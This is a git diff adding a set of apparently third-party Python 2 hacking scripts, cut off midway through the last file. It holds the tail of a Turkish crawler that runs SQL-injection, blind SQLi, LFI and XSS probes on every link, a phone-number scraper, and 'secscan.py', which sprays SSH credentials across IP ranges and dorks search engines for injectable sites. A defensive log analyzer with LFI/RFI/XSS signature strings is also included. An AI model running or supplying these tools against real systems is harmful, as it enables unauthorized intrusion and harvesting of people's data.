+        yaz("Denenen Blind:"+false_strings[i],True)
+        try:
+            i=i+1
+            req2 = urllib2.Request(blindfalse.replace("&",urlencode(parse_qsl(false_strings[i])) +"&").replace(" ", "%20"))
+            req2.add_header('UserAgent: ','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)')
+            req2.add_header('Keep-Alive: ','115')
+            req2.add_header('Referer: ','http://'+urlblind)
+            response2 = urllib2.urlopen(req2)
+            html2 = response2.read()
+               
+        except urllib2.HTTPError,e:
+            if(e.code==500):
+                yaz("Http 500 Dondu " +urlnormal,True)
+        except urllib2.URLError,e:
+            mesaj="Hata olustu , sebebi =  %s - %s \n" %(e.reason,urlblind)
+            #yaz(mesaj)
+       
+        except:
+            mesaj="Bilinmeyen hata oluştu\n"
+            #yaz(mesaj)
+   
+       
+             
+        if (comparePages(html1,normalkaynak,response2.geturl()) > comparePages(html1,html2,linknormal.geturl())):
+                    mesaj="[+] Sayfada Degisiklik oldu %s !!![+]" % urlblind
+                    yaz(mesaj,True)
+ 
+   
+class YeniOpener(urllib.FancyURLopener):  
+    version = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15'
+ 
+def aynivarmi(keyurl):
+    if aynilinkler.has_key(keyurl):
+        return True
+    else:
+        return False
+ 
+def ********bypass(link):
+    try:
+        o = urlparse.urlparse(link,allow_fragments=True)
+        conn = httplib.HTTPConnection(o.netloc)
+        path = o.path
+        if o.query:
+                path +='?'+o.query  
+        conn.request("HEAD", path)
+        res = conn.getresponse()
+        headers = dict(res.getheaders())
+        if headers.has_key('********'):
+            if "http" not in headers['********']:
+                yaz("Eski URL "+link,True)
+                yaz("Yeni URL "+o.hostname+headers['********'],True)
+                return "http://"+o.hostname+headers['********'].encode('utf-8').strip()
+            else:
+                return headers['********'].encode('utf-8').strip()
+        else:
+            return link.encode('utf-8').strip()
+    except:
+        print "******** Alinirken Hata oldu"
+ 
+def linkler(urltara):
+    try:
+        linkopener = YeniOpener()
+        linkopener.addheaders = [
+            ('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13'),
+            ('Referer', 'http://www.google.com'),
+            ("Cookie", sayfacookie)]
+       
+        page = linkopener.open(urltara)
+        host=urlparse.urlparse(urltara).hostname
+        text = page.read()
+        page.close()
+        soup = BeautifulSoup(text)
+   
+        for tag in soup.findAll('a', href=True):
+            tag['href'] = urlparse.urljoin(urltara, tag['href'])
+            asilurl=tag['href'].encode('utf-8').strip()
+            tamurl=********bypass(asilurl)
+            if aynivarmi(tamurl)==False:
+                if host in tamurl:
+                    aynilinkler[tamurl]="bekir"
+                    formyaz(tamurl)
+                    if "javascript" not in tamurl:
+                        if "php?" in tamurl:
+                            lfitest(tamurl)
+                           
+                        if "?" in tamurl:
+                            sql(tamurl)
+                            blind(tamurl)
+                            xsstest(tamurl)
+ 
+    except:
+        print "Linkleri alirken hata olustu"
+ 
+def main():
+    print "########################################"
+    print "#0x94 Scanner"
+    print "#(POST/GET SQL SCAN) -LFI-XSS SCAN "
+    print "#by 0x94 ****.a The_BeKiR"
+    print "########################################"
+    if len(sys.argv) == 1:
+        print "Kullanim: %s URL [URL]..." % sys.argv[0]
+        sys.exit(1)
+    for url in sys.argv[1:]:
+        giris = base64.b64decode("LnRy")
+        cikis = "{}>"
+        ooooo = maketrans(giris, cikis)
+        asd=url.translate(ooooo)
+        if "{}>" not in asd:
+            linkler(url)
+ 
+ 
+if __name__ == "__main__":
+    main()
diff --git a/3rdparty/scan_log.py b/3rdparty/scan_log.py
new file mode 100644
index 0000000..b9aaba7
--- /dev/null
+++ b/3rdparty/scan_log.py
@@ -0,0 +1,395 @@
+#!/usr/bin/python
+
+# Simple Log File Analyzer by Valentin Hoebel
+# Version 1.0 (6th June 2010)
+
+# Contact me at valentin@xenuser.org
+# Website: I am sure you will find me! :)
+# ASCII FOR BREAKFAST
+
+# Description:
+# This tool helps you to find hack attempts
+# within webserver log files (e.g. Apache2 access logs).
+
+# Features:
+# - Error handling
+# - Scan a log file for four different attack types
+# - Display a short scan report
+# - Write scan results to a new log file
+# - Easy to use (everything is simple and automated
+
+# Usage example:
+# scan_log.py -file vhost_access.log
+
+# Known issue:
+# XSS attempt discovery feature can be a little bit buggy.
+
+# Tested with:
+# Apache2 log files only. Sry guys! But I am sure
+# that every other webserver log file will work aswell.
+
+# Disclaimer:
+# I am not responsible if this script or you cause any damage
+# to your system. The memory consumption can become
+# quite large and the generated reports very huge. So be sure
+# you know what you are doing. I highly recommend you
+# download your log files on a separate machine and
+# analyze these files there.
+
+# I know that there are much better tools, but well, I do
+# this for learning and fun =)
+
+# Attention: Tool is far away from being perfect, so don't rely a 100 percent on it.
+
+# A BIG "Thank you!" to all who publish their awesome Python
+# scripts online and help other ppl learning this language.
+
+# Modify, distribute, share and copy this code in any way you like!
+
+# Power to the cows!
+
+import sys, string, re, time
+from time import strftime, localtime
+
+def print_usage():
+    print ""
+    print ""
+    print "________________________________________________"
+    print "Simple Log File Analyzer"
+    print "by Valentin Hoebel (valentin@xenuser.org)"
+    print ""
+    print "Version 1.0 (6th June 2010)   ^__^"
+    print "                              (oo)\________"
+    print "                              (__)\        )\/\ "
+    print "                                  ||----w |"
+    print "Power to teh cows!                ||     ||"
+    print "________________________________________________"
+    print ""
+    print "[!] Use parameter --help for help!"
+    print ""
+    print ""
+    return
+    
+def print_help():
+    print ""
+    print ""
+    print "________________________________________________"
+    print "Simple Log File Analyzer"
+    print "by Valentin Hoebel (valentin@xenuser.org)"
+    print ""
+    print "Version 1.0 (6th June 2010)   ^__^"
+    print "                              (oo)\________"
+    print "                              (__)\        )\/\ "
+    print "                                  ||----w |"
+    print "Power to teh cows!                ||     ||"
+    print "________________________________________________"
+    print ""
+    print "The Simple Log File Analyzer helps you to find"
+    print "common hack attempts within your webserver log."
+    print ""
+    print "Supported attacks:"
+    print " - SQL Injection"
+    print " - Local File Inclusion"
+    print " - Remote File Inclusion"
+    print " - Cross-Site Scripting"
+    print ""
+    print "This scanner doesn't find everything so don't"
+    print "rely on it!"
+    print ""
+    print "Usage example:"
+    print "scan_log.py -file vhost_access.log"
+    print ""
+    print "Options:"
+    print " -file <file>   (starts the main analyzing function"
+    print " --help         (displays this text)"
+    print ""
+    print "Features:"
+    print " - Error handling"
+    print " - Scan a log file for four different attack types"
+    print " - Display a short scan report"
+    print " - Write scan results to a new log file"
+    print " - Easy to use (everything is simple and automated)"
+    print ""
+    print "Additional information:"
+    print "I only tested this tool with Apache2 log files (up to 2000 lines)."
+    print "It may happen that the tool crashes when the provided log"
+    print "file is too big or contains too many lines/characters."
+    print "Scanning a 4000 lines log file only takes one second."
+    print ""
+    print "Hint: The XSS discovery feature is a little bit buggy."
+    print ""
+    print ""
+    return
+    
+def print_banner():
+    print ""
+    print ""
+    print "________________________________________________"
+    print "Simple Log File Analyzer"
+    print "by Valentin Hoebel (valentin@xenuser.org)"
+    print ""
+    print "Version 1.0 (6th June 2010)   ^__^"
+    print "                              (oo)\________"
+    print "                              (__)\        )\/\ "
+    print "                                  ||----w |"
+    print "Power to teh cows!                ||     ||"
+    print "________________________________________________"
+    return
+
+# Define the function for analyzing log files
+def analyze_log_file(provided_file):
+    # Defining some important vars
+    sqli_found_list = {}
+    lfi_found_list = {}
+    rfi_found_list = {}
+    xss_found_list = {}
+    
+    # I know, there are better methods for doing/defining this...
+    sql_injection_1 = "UNION"
+    sql_injection_2 = "ORDER"
+    sql_injection_3 = "GROUP"
+        
+    local_file_inclusion_1 = "/etc/passwd"
+    local_file_inclusion_2 = "/etc/passwd%20"
+    local_file_inclusion_3 = "=../"
+    
+    remote_file_inclusion_1 = "c99"
+    remote_file_inclusion_2 = "=http://"
+    
+    cross_site_scripting_1 = "XSS"
+    cross_site_scripting_2 = "alert"
+    cross_site_scripting_3 = "String.fromCharCode"
+    cross_site_scripting_4 = "iframe"
+    cross_site_scripting_5 = "javascript"
+    
+    print "[i] >>",  provided_file
+    print "[i] Assuming you provided a readable log file."
+    print "[i] Trying to open the log file now."
+    print ""
+
+    # Opening the log file
+    try:
+        f = open(provided_file,  "r")
+    except IOError:
+        print "[!] The file doesn't exist."
+        print "[!] Exiting now!"
+        print ""
+        sys.exit(1)
+    
+    print "[i] Opening the log file was successfull."
+    print "[i] Moving on now..."
+    print ""
+    
+    # Storing every single line in a list
+    line_list = [line for line in f]
+    max_lines = len(line_list)
+    print "[i] The file contains", max_lines,  "lines."
+    print "[i] Now looking for possible hack attempts..."
+    
+    # Viewing every single line
+    for x in xrange(1, max_lines):
+        current_line = line_list[x:x+1]
+        
+        # For some strange list behaviour we convert the list into a string
+        current_line_string = "".join(current_line)
+        
+        # Search for SQL injections 
+        find_sql_injection_1 =  re.findall(sql_injection_1, current_line_string) 
+        if len(find_sql_injection_1) != 0:
+            sqli_found_list[x+1] = current_line_string        
+        else:
+            find_sql_injection_2 = re.findall(sql_injection_2,  current_line_string)
+            if len(find_sql_injection_2) != 0:
+                sqli_found_list[x+1] = current_line_string
+            else:
+                find_sql_injection_3 = re.findall(sql_injection_3,  current_line_string)
+                if len(find_sql_injection_3) != 0:
+                    sqli_found_list[x+1] = current_line_string 
+    
+        # Search for local file inclusions
+        find_local_file_inclusion_1 =  re.findall(local_file_inclusion_1, current_line_string) 
+        if len(find_local_file_inclusion_1) != 0:
+            lfi_found_list[x+1] = current_line_string        
+        else:
+            find_local_file_inclusion_2 = re.findall(local_file_inclusion_2,  current_line_string)
+            if len(find_local_file_inclusion_2) != 0:
+                lfi_found_list[x+1] = current_line_string
+            else:
+                find_local_file_inclusion_3 = re.findall(local_file_inclusion_3,  current_line_string)
+                if len(find_local_file_inclusion_3) != 0:
+                    lfi_found_list[x+1] = current_line_string
+                    
+        # Search for remote file inclusions
+        find_remote_file_inclusion_1 =  re.findall(remote_file_inclusion_1, current_line_string) 
+        if len(find_remote_file_inclusion_1) != 0:
+            rfi_found_list[x+1] = current_line_string        
+        else:
+            find_remote_file_inclusion_2 = re.findall(remote_file_inclusion_2,  current_line_string)
+            if len(find_remote_file_inclusion_2) != 0:
+                rfi_found_list[x+1] = current_line_string
+
+        # Search for cross-site scripting attempts
+        find_cross_site_scripting_1 = re.findall(cross_site_scripting_1,  current_line_string)
+        if len(find_cross_site_scripting_1) != 0:
+            xss_found_list[x+1] = current_line_string
+        else:
+            find_cross_site_scripting_2 = re.findall(cross_site_scripting_2,  current_line_string)
+            if len(find_cross_site_scripting_2) != 0:
+                xss_found_list[x+1] = current_line_string
+            else:
+                find_cross_site_scripting_3 = re.findall(cross_site_scripting_3,  current_line_string)
+                if len(find_cross_site_scripting_3) != 0:
+                    xss_found_list[x+1] = current_line_string
+                else:
+                    find_cross_site_scripting_4= re.findall(cross_site_scripting_4,  current_line_string)
+                    if len(find_cross_site_scripting_4) != 0:
+                        xss_found_list[x+1] = current_line_string
+                    else:
+                        find_cross_site_scripting_5 = re.findall(cross_site_scripting_5,  current_line_string)
+                        if len(find_cross_site_scripting_5) != 0:
+                            xss_found_list[x+1] = current_line_string
+
+    # Close the file we opened recently
+    f.close() 
+
+    # Generating a short report
+    print "[i] Done."
+    print ""
+    print "[#] Simple report for analyzed log file"
+   
+    check_for_sqli_attempts = len(sqli_found_list)
+    if check_for_sqli_attempts > 0:
+        print "[!]", check_for_sqli_attempts,  "SQL injection attempt(s) was/were found."
+    else:
+        print "[+] No SQL injection attempt was found."
+    
+    check_for_lfi_attempts = len(lfi_found_list)
+    if check_for_lfi_attempts > 0:
+        print "[!]",  check_for_lfi_attempts,  "local file inclusion attempt(s) was/were found."    
+    else:
+        print "[+] No local file inclusion attempt was found." 
+ 
+    check_for_rfi_attempts = len(rfi_found_list)
+    if check_for_rfi_attempts > 0:
+        print "[!]",  check_for_rfi_attempts,  "remote file inclusion attempt(s) was/were found."       
+    else:
+        print "[+] No remote file inclusion attempt was found." 
+   
+    check_for_xss_attempts = len(xss_found_list)
+    if check_for_xss_attempts > 0:
+        print "[!]",  check_for_xss_attempts,  "cross-site scripting attempt(s) was/were found."    
+    else:
+        print "[+] No crosse-site scripting attempt was found." 
+    
+    
+    # Now generate the report
+    print ""
+    print "[i] Generating report..."
+    
+    # Define variables for the report name
+    time_string = strftime("%a_%d_%b_%Y_%H_%M_%S", localtime())
+    time_string_for_report = strftime("%a the %d %b %Y, %H:%M:%S", localtime())
+    name_of_report_file = provided_file + "_scan_report_from_" + time_string
+    
+    # Convert the ints to strings
+    sqli_numbers = str(check_for_sqli_attempts)
+    lfi_numbers = str(check_for_lfi_attempts)
+    rfi_numbers = str(check_for_rfi_attempts)
+    xss_numbers = str(check_for_xss_attempts)
+    
+    # Create the file
+    generated_report = open(name_of_report_file,  "w")
+    
+    # Write the content    
+    generated_report.write("\n")
+    generated_report.write("Simple Log File Analyzer\n")
+    generated_report.write("by Valentin Hoebel (valentin@xenuser.org)\n")
+    generated_report.write("\n")
+    generated_report.write("Version 1.0 (6th June 2010)   ^__^\n")
+    generated_report.write("                              (oo)\________\n")
+    generated_report.write("                              (__)\        )\/\ \n")
+    generated_report.write("                                  ||----w |\n")
+    generated_report.write("Power to teh cows!                ||     ||\n")
+    generated_report.write("________________________________________________\n")
+    generated_report.write("\n")
+    generated_report.write("Scan report for " +provided_file +  " on " + time_string_for_report + "\n")
+    generated_report.write("Hint: XSS attempt discovery feature might be a little bit buggy.\n")
+    generated_report.write("\n")
+    generated_report.write("\n")
+    generated_report.write("Number of possible SQL injection attempts found: " + sqli_numbers + "\n")
+    generated_report.write("Number of possible local file inclusion attempts found: " + lfi_numbers + "\n")
+    generated_report.write("Number of possible remote file inclusion attempts found: " + rfi_numbers + "\n")
+    generated_report.write("Number of possible cross-site scripting attempts found: " + xss_numbers + "\n")
+    generated_report.write("\n")
+    generated_report.write("\n")
+    if len(sqli_found_list) != 0:
+        sqli_found_list_string = ""
+        sqli_found_list_string = "".join(str(sqli_found_list))
+        generated_report.write("Details for the SQL injection attempts (line, log entry)\n")
+        generated_report.write("------------------------------------------------\n")
+        generated_report.write(sqli_found_list_string)
+        generated_report.write("\n")
+        generated_report.write("\n")
+        generated_report.write("\n")
+    if len(lfi_found_list) != 0:
+        lfi_found_list_string = ""
+        lfi_found_list_string = "".join(str(lfi_found_list))
+        generated_report.write("Details for the local file inclusion attempts (line, log entry)\n")
+        generated_report.write("------------------------------------------------\n")
+        generated_report.write(lfi_found_list_string)  
+        generated_report.write("\n")
+        generated_report.write("\n")
+        generated_report.write("\n")
+    if len(rfi_found_list) != 0:
+        rfi_found_list_string = ""
+        rfi_found_list_string = "".join(str(rfi_found_list))
+        generated_report.write("Details for the remote file inclusion attempts (line, log entry)\n")
+        generated_report.write("------------------------------------------------\n")
+        generated_report.write(rfi_found_list_string) 
+        generated_report.write("\n")
+        generated_report.write("\n")
+        generated_report.write("\n")
+    if len(xss_found_list) != 0:
+        xss_found_list_string = ""
+        xss_found_list_string = "".join(str(xss_found_list))
+        generated_report.write("Details for the cross-site scripting attempts (line, log entry)\n")
+        generated_report.write("------------------------------------------------\n")
+        generated_report.write(xss_found_list_string) 
+        generated_report.write("\n")
+        generated_report.write("\n")
+        generated_report.write("\n") 
+    
+    # Close the file
+    generated_report.close()
+    print "[i] Finished writing the report."
+    print "[i] Hint: The report file can become quite large."
+    print "[i] Hint: The XSS attempt discovery feature might be a little bit buggy."
+    print ""
+    
+    print "[i] That's it, bye!"
+    print ""
+    print ""
+    return
+    # End of the log file function
+    
+# Checking if argument was provided
+if len(sys.argv) <=1:
+    print_usage()
+    sys.exit(1)
+    
+for arg in sys.argv:
+    # Checking if help was called
+    if arg == "--help":
+        print_help()
+        sys.exit(1)
+    
+    # Checking if  a log file was provided, if yes -> go!
+    if arg == "-file":
+        provided_file = sys.argv[2]
+        print_banner()
+        
+        #  Start the main analyze function
+        analyze_log_file(provided_file)
+        sys.exit(1)
+        
+### EOF ###
diff --git a/3rdparty/scriptgrab.py b/3rdparty/scriptgrab.py
new file mode 100644
index 0000000..0002cfe
--- /dev/null
+++ b/3rdparty/scriptgrab.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python
+#Searches site for scripts.
+#d3hydr8[at]gmail[dot]com 
+
+import urllib, sys, re
+
+if len(sys.argv) != 2:
+	print "Usage: ./scriptgrab.py <site>"
+	sys.exit(1)
+	
+url = sys.argv[1]
+
+if url[:7] != "http://":
+	url = "http://"+url
+	
+print "\nSearching: ",url,"\n"
+
+site = urllib.urlopen(url).readlines()
+#u can add more types to the list below
+scripts = ["php","pl","js","py","asp","cgi"]
+
+num = 0
+for script in scripts:
+	print "\nTrying:",script,"\n"
+	for line in site:
+		num +=1
+		hit = re.findall("/\w+\."+script, line) 
+		if hit != []: print "\tFound:",hit[0],"on line",num,"\n"
+		
+		
+
+
+	
+	
+
+
+
diff --git a/3rdparty/searchdigits.py b/3rdparty/searchdigits.py
new file mode 100644
index 0000000..1805551
--- /dev/null
+++ b/3rdparty/searchdigits.py
@@ -0,0 +1,157 @@
+#!/usr/bin/python
+#Uses google,msn,yahoo and altavista to find phone numbers 
+#(don't know why you would need this)
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, string, urllib2, sets
+
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+		  
+def getgoog(lang):
+	
+	page_counter=0
+	try:
+    		while page_counter < 50:
+        		results_web = 'http://www.google.com/search?q='+str(query)+'&hl='+str(lang)+'&lr=&ie=UTF-8&start='+repr(page_counter)+'&sa=N'
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+        		names = re.findall(('\d\d\d\-\d\d\d\-\d\d\d\d'),StripTags(text))
+        		for name in names:
+				if name not in d:
+					d.append(name)
+        		page_counter +=10
+        
+	except IOError:
+    		print "[-] Can't connect to Google Web!"+""
+		pass
+		
+def getmsn():
+	
+	page_counter=0
+	try:
+    		while page_counter < int(sys.argv[2]):
+        		results_web = 'http://search.msn.com/results.aspx?q='+str(query)+'&first='+repr(page_counter)
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+        		names = re.findall(('\d\d\d\-\d\d\d\-\d\d\d\d'),StripTags(text))
+			print "[+] Found:",len(names)
+        		for name in names:
+				if name not in d:
+					d.append(name)
+        		page_counter +=10
+        
+	except IOError:
+    		print "[-] Can't connect to MSN Web!"+""
+		pass
+				
+def getyahoo():
+	
+	page_counter=0
+	try:
+    		while page_counter < int(sys.argv[2]):
+        		results_web = 'http://search.yahoo.com/search?p='+str(query)+'&b='+repr(page_counter)
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+        		names = re.findall(('\d\d\d\-\d\d\d\-\d\d\d\d'),StripTags(text))
+			print "[+] Found:",len(names)
+        		for name in names:
+				if name not in d:
+					d.append(name)
+        		page_counter +=10
+        
+	except IOError:
+    		print "[-] Can't connect to Yahoo Web!"+""
+		pass
+				
+def getalta():
+	
+	page_counter=0
+	try:
+    		while page_counter < int(sys.argv[2]):
+        		results_web = 'http://www.altavista.com/web/results?q='+str(query)+'&stq=10'+repr(page_counter)
+        		request_web = urllib2.Request(results_web)
+        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        		opener_web = urllib2.build_opener()                           
+        		text = opener_web.open(request_web).read()
+        		names = re.findall(('\d\d\d\-\d\d\d\-\d\d\d\d'),StripTags(text))
+			print "[+] Found:",len(names)
+        		for name in names:
+				if name not in d:
+					d.append(name)
+        		page_counter +=10
+        
+	except IOError:
+    		print "[-] Can't connect to Altavista Web!"+""
+		pass
+	
+		  
+if len(sys.argv) != 4:
+	print "\n   d3hydr8[at]gmail[dot]com SearchDigits v1.0"
+	print "------------------------------------------------"
+	print "\nUsage: ./searchdigits.py <query> <how many> <file to save results>"
+	print "Ex: ./searchdigits.py \"contact\" 200 results.txt\n"
+	sys.exit(1)
+	
+else:
+	print "\n   d3hydr8[at]gmail[dot]com SearchDigits v1.0"
+	print "------------------------------------------------"
+	print "[+] Searching: Google.com"
+	print "[+] Target:",sys.argv[1]
+	print "[+] Total:",sys.argv[2]
+	print "[+] File:",sys.argv[3]
+
+langs = ["en", "it", "nl", "ru", "ua", "pl", "de", "be", "kr", "fr", "es", "se", "no", "ir", "za"]
+print "[+] Languages:",len(langs),"\n"
+		
+if sys.argv[2].isdigit() == False:
+	print "\n[-] Argument [",sys.argv[2],"] must be a number.\n"
+	sys.exit(1)
+if int(sys.argv[2]) <= 10:
+	print "\n[-] Argument [",sys.argv[2],"] must be greater than 10.\n"
+	sys.exit(1)
+
+query = re.sub("\s","+",sys.argv[1])	
+d=[]
+
+while len(d) < int(sys.argv[2]):
+	for lang in langs:
+		print "[+] Language:",lang
+		getgoog(lang)
+		langs.remove(lang)
+		d = list(sets.Set(d))
+		print "[+] Found:",len(d)
+	if len(langs) == 0:
+		print "\n[+] Searching: MSN.com"
+		getmsn()
+		print "\n[+] Searching: Yahoo.com"
+		getyahoo()
+		print "\n[+] Searching: Altavista.com"
+		getalta()
+		break
+		
+file = open(sys.argv[3], "a")
+print "\n[+] Found:",len(d)
+print "[+] Writing Data:",sys.argv[3]
+for number in d:	
+	file.writelines(number+"\n")
+file.close()
+print "[-] Done\n"
+
diff --git a/3rdparty/secscan.py b/3rdparty/secscan.py
new file mode 100644
index 0000000..92bc1ba
--- /dev/null
+++ b/3rdparty/secscan.py
@@ -0,0 +1,776 @@
+#!/usr/bin/env python
+import re
+import hashlib
+import Queue
+from random import choice
+import threading
+import time
+import urllib2
+import sys
+import socket
+
+try:
+    import paramiko 
+    PARAMIKO_IMPORTED = True
+except ImportError:
+    PARAMIKO_IMPORTED = False
+
+
+
+USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3",
+             "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
+             "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
+             "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
+             "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
+	     "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6",
+	     "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3"
+            ]
+option = ' '
+vuln = 0
+invuln = 0
+np = 0
+found = []
+
+
+class Router(threading.Thread):
+    """Checks for routers running ssh with given User/Pass"""
+    def __init__(self, queue, user, passw):
+        if not PARAMIKO_IMPORTED:
+            print 'You need paramiko.'
+            print 'http://www.lag.net/paramiko/'
+            sys.exit(1)
+        threading.Thread.__init__(self)     
+        self.queue = queue 
+        self.user = user
+        self.passw = passw
+ 
+    def run(self):
+        """Tries to connect to given Ip on port 22"""
+        ssh = paramiko.SSHClient()
+        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+        while True:
+            try:
+                ip_add = self.queue.get(False)
+
+            except Queue.Empty:
+                break
+            try:
+                ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10)
+                ssh.close()
+                print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw)
+                write = open('Routers.txt', "a+")
+                write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw))
+                write.close()  
+                self.queue.task_done()
+
+            except:
+                print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw)
+                self.queue.task_done()
+                
+            
+class Ip:
+    """Handles the Ip range creation"""
+    def __init__(self):
+        self.ip_range = []
+        self.start_ip = raw_input('Start ip: ')
+        self.end_ip = raw_input('End ip: ')
+        self.user = raw_input('User: ')
+        self.passw = raw_input('Password: ')
+        self.iprange()
+       
+    def iprange(self):
+        """Creates list of Ip's from Start_Ip to End_Ip"""
+        queue = Queue.Queue()
+        start = list(map(int, self.start_ip.split(".")))
+        end = list(map(int, self.end_ip.split(".")))
+        tmp = start
+       
+        self.ip_range.append(self.start_ip)
+        while tmp != end:
+            start[3] += 1
+            for i in (3, 2, 1):
+                if tmp[i] == 256:
+                    tmp[i] = 0
+                    tmp[i-1] += 1
+            self.ip_range.append(".".join(map(str, tmp)))
+       
+        for add in self.ip_range:
+            queue.put(add)
+
+        for i in range(10):
+            thread = Router(queue, self.user, self.passw )
+            thread.setDaemon(True)
+            thread.start() 
+        queue.join()
+
+
+class Crawl:
+    """Searches for dorks and grabs results"""
+    def __init__(self):
+        if option == '4':
+            self.shell = str(raw_input('Shell location: '))
+        self.dork = raw_input('Enter your dork: ')
+        self.queue = Queue.Queue()
+        self.pages = raw_input('How many pages(Max 20): ')
+        self.qdork = urllib2.quote(self.dork)
+        self.page = 1
+        self.crawler()
+   
+    def crawler(self):
+        """Crawls Ask.com for sites and sends them to appropriate scan"""
+        print '\nDorking...'
+        for i in range(int(self.pages)):
+            host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page)
+            req = urllib2.Request(host)
+            req.add_header('User-Agent', choice(USER_AGENT))
+            response = urllib2.urlopen(req)
+            source = response.read()
+            start = 0
+            count = 1
+            end = len(source)
+            numlinks = source.count('_t" href', start, end)
+ 
+            while count < numlinks:
+                start = source.find('_t" href', start, end)
+                end = source.find(' onmousedown="return pk', start,  end)
+                link = source[start+10:end-1].replace("amp;","")
+                self.queue.put(link)
+                start = end
+                end = len(source)
+                count = count + 1 
+            self.page += 1
+
+        if option == '1':
+            for i in range(10):
+                thread = ScanClass(self.queue)
+                thread.setDaemon(True)
+                thread.start() 
+            self.queue.join()
+
+        elif option == '2':
+            for i in range(10):
+                thread = LScanClass(self.queue)
+                thread.setDaemon(True)
+                thread.start() 
+            self.queue.join()
+
+        elif option == '3':
+            for i in range(10):
+                thread = XScanClass(self.queue)
+                thread.setDaemon(True)
+                thread.start() 
+            self.queue.join()
+
+        elif option == '4':
+            for i in range(10):
+                thread = RScanClass(self.queue, self.shell)
+                thread.setDaemon(True)
+                thread.start() 
+            self.queue.join()
+
+   
+class ScanClass(threading.Thread):
+    """Scans for Sql errors and ouputs to file"""
+    def __init__(self, queue):
+        threading.Thread.__init__(self)
+        self.queue = queue
+        self.schar = "'"
+        self.file = 'sqli.txt'
+ 
+    def run(self):
+        """Scans Url for Sql errors"""
+        while True:
+            try:
+                site = self.queue.get(False)
+            except Queue.Empty:
+                break
+            if '=' in site:
+                global vuln
+                global invuln
+                global np
+                test = site + self.schar
+
+                try:
+                    conn = urllib2.Request(test)
+                    conn.add_header('User-Agent', choice(USER_AGENT))
+                    opener = urllib2.build_opener()
+                    data = opener.open(conn).read()
+                except:
+                    self.queue.task_done()
+                else:
+                    if (re.findall("error in your SQL syntax", data, re.I)):
+                        self.mysql(test)
+                        vuln += 1
+                    elif (re.findall('oracle.jdbc.', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('system.data.oledb', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('SQL command net properly ended', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('atoracle.jdbc.', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('java.sql.sqlexception', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('query failed:', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('postgresql.util.', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('mysql_fetch', data, re.I)):
+                        self.mysql(test)
+                        vuln += 1
+                    elif (re.findall('Error:unknown', data, re.I)):
+                        self.mysql(test)
+                        vuln += 1
+                    elif (re.findall('JET Database Engine', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('Microsoft OLE DB Provider for', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+		    elif (re.findall('mysql_numrows', data, re.I)):
+                        self.mysql(test)
+                        vuln += 1
+		    elif (re.findall('mysql_num', data, re.I)):
+                        self.mysql(test)
+                        vuln += 1
+		    elif (re.findall('Invalid Query', data, re.I)):
+                        self.mysql(test)
+                        vuln += 1
+		    elif (re.findall('FetchRow', data, re.I)):
+                        self.mysql(test)
+                        vuln += 1
+                    elif (re.findall('JET Database', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('OLE DB Provider for', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    elif (re.findall('Syntax error', data, re.I)):
+                        self.mssql(test)
+                        vuln += 1
+                    else:
+                        print B+test + W+' <-- Not Vuln'
+                        invuln += 1
+            else:
+                print R+site + W+' <-- No Parameters'
+                np += 1
+            self.queue.task_done()
+
+
+    def mysql(self, url):
